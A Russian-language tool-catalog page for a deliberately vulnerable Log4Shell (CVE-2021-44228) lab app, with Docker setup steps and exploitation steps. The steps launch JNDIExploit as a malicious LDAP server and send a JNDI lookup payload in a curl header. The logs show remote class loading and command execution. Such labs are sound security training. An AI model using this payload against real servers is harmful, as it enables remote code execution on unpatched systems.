Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/bsigouin/log4shell-vulnerable-app
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubbsigouin/log4shell-vulnerable-app

log4shell-vulnerable-app

Spring Boot веб-приложение, уязвимое к CVE-2021-44228, известное как Log4Shell.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4 лет назадЕщё не проверено

Пример уязвимого приложения Log4Shell (CVE-2021-44228)

Этот репозиторий содержит веб-приложение на Spring Boot, уязвимое к CVE-2021-44228, известное как Log4Shell.

Оно использует Log4j 2.14.1 (через spring-boot-starter-log4j2 2.6.1) и JDK 1.8.0_181.

Запуск приложения

Запустите:

root@kitploit:~
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Соберите самостоятельно (вам не понадобятся инструменты для Java):

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Шаги эксплуатации

*Примечание: Данная инструкция в значительной степени основана на оригинальном уведомлении LunaSec. Используйте на свой страх и риск, желательно в виртуальной машине в изолированной среде. *

Обновление (13 декабря): Репозиторий JNDIExploit был удалён с GitHub (предположительно, не по инициативе GitHub). Просто добавьте web.archive.org перед URL загрузки JNDIExploit ниже, чтобы использовать версию, сохранённую Wayback Machine.

  • Используйте JNDIExploit для запуска вредоносного LDAP-сервера:
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ваш-внутренний-ip -p 8888
  • Затем запустите эксплойт с помощью:
root@kitploit:~
# выполнит 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://ваш-внутренний-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Обратите внимание на вывод JNDIExploit, показывающий, что он отправил вредоносный LDAP-ответ и обслужил полезную нагрузку второго этапа:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • Чтобы убедиться, что выполнение кода прошло успешно, обратите внимание, что файл /tmp/pwned.txt был создан в контейнере, где работает уязвимое приложение:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Ссылки

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Контрибьюторы

@christophetd @rayhan0x01

Скачать инструмент